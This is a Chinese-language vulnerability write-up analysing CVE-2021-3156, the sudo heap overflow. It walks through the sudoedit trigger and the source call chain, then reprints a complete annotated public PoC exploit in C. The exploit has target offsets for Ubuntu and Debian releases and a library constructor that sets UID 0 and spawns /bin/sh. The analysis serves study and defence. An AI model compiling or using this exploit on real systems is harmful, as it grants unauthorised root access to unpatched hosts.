CVE-2021-3156 Linux sudo提权分析

百家 作者:Chamd5安全团队 2022-03-20 08:51:32

$ 前言:

这是本人入门Linux内核的第二个星期,上一篇dirty-pipe分析已经在先知社区投稿了。本着积累多点bypass手段的想法,开始了这个sudo堆溢出学习。

$ EXP:

  • https://github.com/blasty/CVE-2021-3156

$ 环境搭建

  • ubuntu 18.04
  • sudo-1.8.25(环境搭建)
  • sudo-1.8.21(静态分析用)

流程:

进入root

sudo?su

搭建pwndbg 编译sudo

make
make?install

这样编译出来的sudo是存在symbol

$ 漏洞描述


$ 受影响的版本:

sudo: 1.8.2 - 1.8.31p2 sudo: 1.9.0 - 1.9.5p1

$ 检测sudo缺陷存在:


如果响应一个以sudoedit:开头的报错,那么表明存在漏洞。

$ 漏洞复现:

$ 漏洞原理分析:


触发堆溢出:

sudoedit?-s?'\'?1111111111111111

调用链:(不同版本源码的行数不同)

sudo.c:134????????==>?main
sudo.c:247????????==>?policy_check
sudo.c:1149?????==>?sudoers_policy_check
policy.c:775????==>?sudoers_policy_main
sudoers.c:293????==>?set_cmnd
sudoers.c:853?==>?溢出位置

参数:注意几个参数:

  • mode
  • flags
mode
NewArgv?=?sudoedit?\\?1111111111111111

分析parse_args.c


parse_argssudo用于处理传入参数的函数。

1. 静态分析


配置了mode = MODE_EDIT == 0x2


配置flags = MODE_SHELL == 0x20000 由于mode == MODE_EDIT所以跳转到 577行

配置:

*argv[0]?==?'s'?后续为:udoedit
*argv[1]?==?'\\'
*argv[2]?==?'1'?后续为:111111111111111
2. 动态调试分析


131072 == 0x20000 == MODE_SHELL



如图可以证实静态分析上对argv的修改。

分析sudo.c:


1.静态分析:


sudo_mode执行完parse_args被设置为:0x20002


根据转换触发到case MODE_EDIT


然后在MODE_RUN内部执行policy_check

2.动态分析:


131074 == 0x20002

分析sudoers_policy_check


1.静态分析:


此时argc == 3 然后调用sudoers_policy_main

分析sudoers_policy_main:


静态分析:


  • 在270行配置(int) NewArgc == 3
  • 在271行固定了\\后的长度最多为2个指针 == 16 字节
  • 在276行将*NewArgv == 'sudoedit' '\\' '111...' 'NULL'


sudoers_policy_main将在293行调用到set_cmnd

动态分析:


分析set_cmnd:


静态分析:


由于之前没有给user_cmnd赋值,所以在812行将NewArgv指向sudoedit的指针赋值到user_cmnd



这里没搞懂是怎么ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)判断正确的


在849行中将申请的内存空间大小为 0x13 == '\\1111111111111111 ' 在853行中会判断正确后进入到溢出点第863行 在861行即为存在溢出的点,由于isspace()识别的是'\20',所以'\0'被bypass了,进而达成溢出条件。

注意:传入2个参数后最多能溢出16字节。user_args堆空间地址只要看在859行下断点看to指定地址就能获取到。

溢出情景模拟:

当前内存:'\\' + '\0' + '1111111111111111' 当前NewArgv + 1 == '\\' + '\0',那么执行到if判断时,就会from++进而将*from指向了'1111111111111111',继而调用了*to++ = *from++'1111111111111111'复制到了user_args堆空间。而这已经将user_args堆空间占满了,但是在for循环上却仍然可以继续将'1111111111111111'复制到user_args堆空间后面的空间,在调用下一次for循环是NewArgv + 1 == '1111111111111111',而在whilefrom[0] != '\\'进而导致直接调用*to++ = *from++'1111111111111111'复制到溢出空间,进而造成堆溢出。

正常的user_args堆空间:


发生溢出后的user_args堆空间:


$ 利用分析


下面是EXP解析:

#include?<stdio.h>
#include?<string.h>
#include?<stdlib.h>
#include?<stdint.h>
#include?<unistd.h>
#include?<ctype.h>

//?512?environment?variables?should?be?enough?for?everyone
#define?MAX_ENVP?512
#define?SUDOEDIT_PATH?"/usr/bin/sudoedit"

typedef?struct?{
????char?*target_name;
????char?*sudoedit_path;
????uint32_t?smash_len_a;
????uint32_t?smash_len_b;
????uint32_t?null_stomp_len;
????uint32_t?lc_all_len;?
}?target_t;

target_t?targets[]?=?{
????{
????????//?Yes,?same?values?as?20.04.1,?but?also?confirmed.
????????.target_name????=?"Ubuntu?18.04.5?(Bionic?Beaver)?-?sudo?1.8.21,?libc-2.27",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?56,
????????.smash_len_b????=?54,
????????.null_stomp_len?=?63,?
????????.lc_all_len?????=?212
????},
????{
????????.target_name????=?"Ubuntu?20.04.1?(Focal?Fossa)?-?sudo?1.8.31,?libc-2.31",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?56,
????????.smash_len_b????=?54,
????????.null_stomp_len?=?63,?
????????.lc_all_len?????=?212
????},
????{
????????.target_name????=?"Debian?10.0?(Buster)?-?sudo?1.8.27,?libc-2.28",
????????.sudoedit_path??=?SUDOEDIT_PATH,
????????.smash_len_a????=?64,
????????.smash_len_b????=?49,
????????.null_stomp_len?=?60,?
????????.lc_all_len?????=?214
????}
};

void?usage(char?*prog)?{
????fprintf(stdout,
????????"??usage:?%s?<target>\n\n"
????????"??available?targets:\n"
????????"??------------------------------------------------------------\n",
????????prog
????);
????for(int?i?=?0;?i?<?sizeof(targets)?/?sizeof(target_t);?i++)?{
????????printf("????%d)?%s\n",?i,?targets[i].target_name);
????}
????fprintf(stdout,
????????"??------------------------------------------------------------\n"
????????"\n"
????????"??manual?mode:\n"
????????"????%s?<smash_len_a>?<smash_len_b>?<null_stomp_len>?<lc_all_len>\n"
????????"\n",
????????prog
????);
}

int?main(int?argc,?char?*argv[])?{
????printf("\n**?CVE-2021-3156?PoC?by?blasty?<peter@haxx.in>\n\n");

????if?(argc?!=?2?&&?argc?!=?5)?{
????????usage(argv[0]);
????????return?-1;
????}

????target_t?*target?=?NULL;
????if?(argc?==?2)?{
????????int?target_idx?=?atoi(argv[1]);

????????if?(target_idx?<?0?||?target_idx?>=?(sizeof(targets)?/?sizeof(target_t)))?{
????????????fprintf(stderr,?"invalid?target?index\n");
????????????return?-1;
????????}

????????target?=?&targets[?target_idx?];
????}??else?{
????????target?=?malloc(sizeof(target_t));
????????target->target_name????=?"Manual";
????????target->sudoedit_path??=?SUDOEDIT_PATH;?//?"/usr/bin/sudoedit"
????????target->smash_len_a????=?atoi(argv[1]);
????????target->smash_len_b????=?atoi(argv[2]);
????????target->null_stomp_len?=?atoi(argv[3]);
????????target->lc_all_len?????=?atoi(argv[4]);
????}

????printf(
????????"using?target:?%s?['%s']?(%d,?%d,?%d,?%d)\n",?
????????target->target_name,
????????target->sudoedit_path,
????????target->smash_len_a,
????????target->smash_len_b,
????????target->null_stomp_len,
????????target->lc_all_len
????);

????char?*smash_a?=?calloc(target->smash_len_a?+?2,?1);?????//这里填充多2个字节
????char?*smash_b?=?calloc(target->smash_len_b?+?2,?1);?????//这里填充多2个字节

????memset(smash_a,?'A',?target->smash_len_a);??//填充A
????memset(smash_b,?'B',?target->smash_len_b);??//填充B

????smash_a[target->smash_len_a]?=?'\\';
????smash_b[target->smash_len_b]?=?'\\';

????char?*s_argv[]={
????????"sudoedit",?"-s",?smash_a,?"\\",?smash_b,?NULL
????};
????/**?56?*?A?+?'\\'?+?'\0'?+?'\0'?+?'\\'?+?'\0'?+?54?*?B?+?'\\'?+?'\0'????
?????**?生成113个字节空间
?????**/
????char?*s_envp[MAX_ENVP];
????int?envp_pos?=?0;

????for(int?i?=?0;?i?<?target->null_stomp_len;?i++)?{
????????s_envp[envp_pos++]?=?"\\";??//写入63个\\
????}
????s_envp[envp_pos++]?=?"X/P0P_SH3LLZ_";

????char?*lc_all?=?calloc(target->lc_all_len?+?16,?1);??//212
????strcpy(lc_all,?"LC_ALL=C.UTF-8@");
????memset(lc_all+15,?'C',?target->lc_all_len);

????s_envp[envp_pos++]?=?lc_all;
????s_envp[envp_pos++]?=?NULL;

????printf("**?pray?for?your?rootshell..?**\n");

????execve(target->sudoedit_path,?s_argv,?s_envp);??//触发提权
????return?0;
}//*s_envp?==?63个\\+"X/P0P_SH3LLZ_"+lc_all指针+NULL
?//*lc_all?==?"LC_ALL=C.UTF-8@"?+?197个"C"?
#include?<unistd.h>
#include?<stdio.h>
#include?<stdlib.h>
#include?<string.h>

static?void?__attribute__?((constructor))?_init(void);

static?void?_init(void)?{
????printf("[+]?bl1ng?bl1ng!?We?got?it!\n");
#ifndef?BRUTE
????setuid(0);?seteuid(0);?setgid(0);?setegid(0);
????static?char?*a_argv[]?=?{?"sh",?NULL?};
????static?char?*a_envp[]?=?{?"PATH=/bin:/usr/bin:/sbin",?NULL?};
????execv("/bin/sh",?a_argv);
#endif
}
大概EXP调用流程:

利用setlocale将我们expcallocLC_ALL堆块free掉,然后在程序执行时调用get_user_info申请0x80堆块时会将user_args堆块申请在相邻ni->name = compatservice_user相邻位置。然后user_args堆块与ni->name = compatservice_user堆块位置就相对固定,进而达成100%溢出的条件来将原始service_table链表中的compat块中的ni ->name给覆盖掉,进而执行__libc_dlopen时调用到我们伪造的libc,然后调用libc中的初始化函数init来高权限调用setuid(0); seteuid(0); setgid(0); setegid(0);execv("/bin/sh", a_argv);来提权root。关于实现细节就不方便讲解了。下面是溢出执行我们的libc的参数详情:



$ 分析细节:

  • CVE-2021-3156调试分析
  • CVE-2021-3156 sudo堆溢出分析与利用
  • cve-2021-3156分析
  • Sudo Exploit Writeup
  • Heap-based buffer overflow in Sudo (CVE-2021-3156)
  • util-linux mount/unmount ASLR bypass via environment variable
  • CVE-2021-3156 sudo heap-based bufoverflow 复现&分析


end


招新小广告

ChaMd5?Venom?招收大佬入圈

新成立组IOT+工控+样本分析?长期招新

欢迎联系admin@chamd5.org



关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接